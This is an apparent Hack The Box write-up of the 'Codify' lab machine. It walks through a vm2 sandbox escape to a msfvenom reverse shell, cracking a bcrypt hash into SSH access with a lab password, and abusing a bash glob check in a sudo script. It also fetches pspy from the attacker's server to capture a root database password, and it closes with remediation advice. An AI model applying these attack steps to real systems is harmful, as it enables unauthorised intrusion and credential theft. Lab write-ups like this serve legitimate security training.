Codify writeup
Box name: Codify
Difficulty: Easy
OS: Linux
Overview: Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user's password, leading to privileged access to the machine.
Link: https://app.hackthebox.com/machines/Codify?tab=play_machine
Machine IP: 10.129.56.141
Ran rustscan against the machine.
rustscan -a 10.129.56.141 –ulimit 5000 -b 500 — -A -Pn


Added codify.htb to /etc/hosts. We also notice a Nide.js framework on port 3000. Navigated to the web server.

When clicking ‘About us’ it tells us it’s using vm2 library for the sandboxing. Upon research I found a CVE https://nvd.nist.gov/vuln/detail/cve-2026-22709. Read through the exploit and found POC. This vulnerability happens due to no sanitization on globalPromise.prototype.then https://github.com/advisories/GHSA-99p7-6v5w-7xg8. I used this poc code https://www.endorlabs.com/learn/cve-2026-22709-critical-sandbox-escape-in-vm2-enables-arbitrary-code-execution. At first it was just showing [object Promise] in the return column. When testing the RCE I was able to get it to interact with an http server I hosted.

After playing with the code for a bit, I created a msvenom payload reverse.elf, and have it chmod to execute and then execute in the same line. I was able to get a response back in msfconsole.


There is a user joshua on the machine.

Did some local enumeration we can see a mariadb server.
Ss -tunlp

I ended up coming across a database file in /var/www/contact that had the hash of joshua.

Ran hashcat against the hash.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Joshua:spongebob1
Confirmed these credentials worked and I was able to get in through ssh.

Grabbed user.txt

Ran sudo -l and we see a vulnerable script we can run.


So I was stuck here even though I knew this was the next step in the attack chain. I peeked at the write up and apparently the way its checking the password is vulnerable. We can just submit * and as that makes the if statement true it allows it. The official write up links this https://mywiki.wooledge.org/BashPitfalls#if_.5B.5B_.24foo_.3D_.24bar_.5D.5D_.28depending_on_intent.29. I confirmed that works.
Additionally, the way that the program runs, we would be able to see the credentials of the $DB_PASS when it is running with the tool pspy64s.
Downloaded it to my machine.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
Hosted an httpserver.
sudo python3 -m http.server
Downloaded it to the victim machine, made it executable and ran it.
curl http://10.10.16.27:8000/pspy64s -o pspy64s
chmod +x pspy64s
./pspy64s
While it was running I opening another ssh connection and ran the program and we get the credentials in clear text.
sudo /opt/scripts/mysql-backup.sh

Then we can switch user to root and get the root flag.


GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 3000 (Node.js). Added codify.htb to /etc/hosts. Browsed to the web server and found a Node.js code testing application. The About Us page disclosed the application was using the vm2 library for sandboxing.
rustscan -a 10.129.56.141 –ulimit 5000 -b 500 — -A -Pn
2 – Initial Access – vm2 sandbox escape RCE – CVE-2026-22709 Researched the vm2 library and found CVE-2026-22709, a critical sandbox escape due to missing sanitization on globalPromise.prototype.then. Used a public PoC to confirm code execution by triggering a callback to a hosted HTTP server. Generated a reverse shell ELF payload with msfvenom, had it chmod and execute via the sandbox escape, and caught a Meterpreter session.
3 – SQLite hash extraction and lateral movement Enumerated running services and found a MariaDB server. Located a SQLite database file in /var/www/contact containing a bcrypt hash for the joshua account. Cracked it with Hashcat using rockyou and SSH’d in as joshua. Retrieved user.txt.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Credentials recovered: joshua:spongebob1
4 – Privilege Escalation – bash glob pattern matching in sudo script Ran sudo -l and found joshua could run /opt/scripts/mysql-backup.sh as root. The script compared a user-supplied password against the database password using a bash conditional vulnerable to glob pattern matching. Submitting * as the password satisfied the comparison and bypassed the check. Used pspy64s to monitor process arguments while triggering the script in a parallel SSH session, capturing the DB_PASS variable in plaintext from the process listing. Switched to root and retrieved root.txt.
sudo /opt/scripts/mysql-backup.sh
Key Takeaways
- vm2 sandbox escape enabling arbitrary code execution – CVE-2026-22709 (CVSS 10.0 Critical) – The web application used a vulnerable version of vm2 with a known sandbox escape vulnerability. Sandboxing libraries must be kept fully patched and user-supplied code must be executed in an isolated environment with no access to the host OS. If vm2 cannot be patched, replace it with a container-based or process-isolated execution environment.
- Technology disclosure via About Us page – The vm2 library and version information was disclosed on a publicly accessible page, enabling precise CVE targeting. Technology stack details including library names and versions must never be disclosed in public-facing application content.
- SQLite database containing password hash accessible after foothold – The database file in /var/www/contact was readable after gaining a foothold as the web application user and contained a bcrypt hash for a system account. Database files must be stored outside the web application directory with permissions restricting access to the database service account only.
- Weak password crackable with rockyou – Joshua’s bcrypt hash was cracked using the rockyou wordlist. While bcrypt is an appropriate algorithm, the underlying password spongebob1 was a common dictionary word. All user passwords must meet complexity requirements that resist offline cracking regardless of the hashing algorithm in use.
- Bash glob pattern matching vulnerability in a sudo script – The mysql-backup.sh script used an unquoted bash variable comparison allowing glob wildcards to bypass the password check. Shell scripts executed with elevated privileges must use proper string comparison with quoted variables and must validate all user input before use. Process arguments containing sensitive values such as DB_PASS must never be passed on the command line where they are visible to pspy and similar monitoring tools.
Remediation
[Immediate] Patch or replace vm2 to remediate CVE-2026-22709 (CVSS 10.0 Critical) Update vm2 to the latest patched version immediately. If no patch is available or the library is abandoned, replace it with a container-based or subprocess-isolated code execution environment. Restrict the code execution endpoint to authenticated users and implement rate limiting and output sanitization.
[Immediate] Remove technology disclosure from the application Remove the About Us page reference to vm2 and any other library or version information from all public-facing content. Audit all pages for stack disclosure and implement a content security review process before any technology information is published.
[Immediate] Fix the glob pattern matching vulnerability in mysql-backup.sh Rewrite the password comparison in the script to use quoted variables and a cryptographically safe comparison method. Replace the bash conditional with a direct database authentication test that does not expose the password as a process argument. Remove the sudo rule until the script is fixed and reviewed.
[Immediate] Restrict database file permissions Move the SQLite database file out of the web application directory and set permissions to mode 600 owned by the application service account. Audit all web application directories for database files and correct permissions on any findings.
[Short-term] Prevent sensitive values from appearing in process arguments Audit all scripts executed with elevated privileges for environment variables or credentials passed as command-line arguments. Use files, pipes, or environment variable injection from a secrets manager rather than command-line arguments for any sensitive value. Monitor for credential exposure in process listings using endpoint detection.
[Long-term] Implement a secure code execution baseline and script review program Define a hardening standard for all user-facing code execution features covering library patch requirements, isolation mechanisms, input validation, and output restrictions. Establish a mandatory security review for all scripts executable via sudo covering glob expansion, variable quoting, argument exposure, and input validation before deployment.
Leave a comment